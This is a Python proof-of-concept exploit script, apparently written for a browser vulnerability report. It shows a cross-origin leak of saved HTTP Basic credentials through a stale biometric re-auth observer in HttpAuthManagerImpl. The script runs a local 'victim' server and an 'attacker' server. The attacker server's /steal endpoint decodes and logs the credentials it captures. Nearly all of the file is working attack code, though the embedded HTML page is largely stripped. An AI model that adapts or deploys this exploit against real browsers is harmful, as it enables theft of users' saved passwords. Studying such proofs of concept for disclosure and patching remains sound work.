#!/usr/bin/env python3
"""
POC server for cross-origin HTTP-auth credential leak via stale biometric
re-auth observer in HttpAuthManagerImpl.
Runs two HTTP servers on localhost:
- port 8081: "victim" origin (saved credentials, returns 401)
- port 8080: "attacker" origin (serves poc.html, returns 401 on /steal)
The attacker page on :8080 issues a subresource request to :8081/protected
(triggering the victim 401 + biometric prompt), then a second request to
:8080/steal (triggering the attacker 401 which replaces the observer).
"""
import base64
import http.server
import socketserver
import sys
import threading
VICTIM_PORT = 8081
ATTACKER_PORT = 8080
class VictimHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# Always challenge. Realm "victim-realm" is what the saved password
# is keyed against.
self.send_response(401)
self.send_header("WWW-Authenticate", 'Basic realm="victim-realm"')
self.send_header("Content-Type", "text/plain")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(b"victim site: auth required\n")
def log_message(self, fmt, *args):
sys.stderr.write("[victim:%d] %s\n" % (VICTIM_PORT, fmt % args))
POC_HTML = b"""
HttpAuth biometric cross-origin leak POC
HttpAuth biometric cross-origin leak POC
![]()
![]()
"""
class AttackerHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith("/steal"):
auth = self.headers.get("Authorization")
if auth:
try:
decoded = base64.b64decode(auth.split(" ", 1)[1]).decode(
"utf-8", "replace"
)
except Exception:
decoded = auth
sys.stderr.write(
"[attacker:%d] LEAKED CREDENTIALS: %s\n"
% (ATTACKER_PORT, decoded)
)
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"got it\n")
return
self.send_response(401)
self.send_header(
"WWW-Authenticate", 'Basic realm="attacker-realm"'
)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"attacker site: auth required\n")
return
# Serve the POC page for any other path.
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
self.wfile.write(POC_HTML)
def log_message(self, fmt, *args):
sys.stderr.write("[attacker:%d] %s\n" % (ATTACKER_PORT, fmt % args))
class ReusableTCPServer(socketserver.ThreadingTCPServer):
allow_reuse_address = True
def main():
victim = ReusableTCPServer(("127.0.0.1", VICTIM_PORT), VictimHandler)
attacker = ReusableTCPServer(("127.0.0.1", ATTACKER_PORT), AttackerHandler)
threading.Thread(target=victim.serve_forever, daemon=True).start()
sys.stderr.write(
"victim listening on http://127.0.0.1:%d/\n" % VICTIM_PORT
)
sys.stderr.write(
"attacker listening on http://127.0.0.1:%d/ (POC page)\n"
% ATTACKER_PORT
)
attacker.serve_forever()
if __name__ == "__main__":
main()